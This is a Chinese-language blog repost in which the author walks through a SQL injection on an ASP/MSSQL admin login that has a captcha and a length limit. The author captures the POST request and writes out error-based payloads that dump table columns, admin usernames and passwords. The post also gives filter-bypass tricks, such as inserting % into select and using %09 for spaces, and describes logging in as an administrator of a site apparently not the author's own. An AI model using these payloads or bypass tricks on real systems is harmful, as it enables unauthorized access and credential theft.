精选国内外互联网行业最新文章及报告,让网友获得最新的海内外互联网动态
当前位置:主页 > 互联网 > 网络安全 >

带验证码限制输入长度的post注入

2015-01-20 11:41 来源: 编辑:admin
作者:f1ct1on  团队:www.anying.org 转载请注明作者和团队,否则追究责任

碰见一个post注入,所以有了如下文章。 asp站的后台,常规都可以试一下'or'='or'。 发现用'or'='or'后一直处在登陆中的状态感觉有点问题

 
用用户名' having 1=2 -- 密码任意再测试一下后报错了。
那就是可以注射了。
因为是带验证码的而且用户输入框限制了长度,
所以可以用LiveHTTPHeaders插件抓取了一下post数据然后自己来构造语句,写语句会比较清晰明朗。
报错出来的Friend_adminuser.userid中Friend_adminuser就是表名,而userid为列。我们可以继续来爆出我们想要的列,可以用col_name来获取指定表段指定列的列名。  
' and 1=convert(int,(select top 1 col_name(object_id ('Friend_adminuser'),1) from Friend_adminuser)) and '1'='1

 


过程中发现过滤了select,可以加个%来绕过。 或者也可以用group by来琢列获取。
 
' group by Friend_adminuser.userid having 1=2--

 


反复几次后已经获取到了我们想要的列Friend_adminuser.username跟Friend_adminuser.password,那来获取出里面的值。

' and (select top 1 Friend_adminuser.username from Friend_adminuser)>0--




继续来获取password的内容


' and (select top 1 Friend_adminuser.password from Friend_adminuser)>0--
 
开心解出来登陆才发现这个管理账号被锁了,再试着来获取一下看有无其他管理员可以登陆。 

 
' and 1=convert(int,(selec%t top 1 Friend_adminuser.username from Friend_adminuser where Friend_adminuser.username not in(0xB0A2BDAD))) and '1'='1

  其中0xB0A2BDAD是上面获得username中阿江的hex值。万幸的是还有其他管理员。获取另外password值同上面语句。 循环了N次之后.... 在第N个管理员的时候也让我进来了..

总结下:碰着后台的时候记得试试看有没注入,mssql的一些关键字被过滤的时候可以尝试加%绕过。
              空格可以加%09也就是Tab的url编码试试。碰着限制输入长度又带验证码的可以自己抓一下post语句自己写。
              大牛见笑了~

标签
返回首页
扫描微信
返回顶部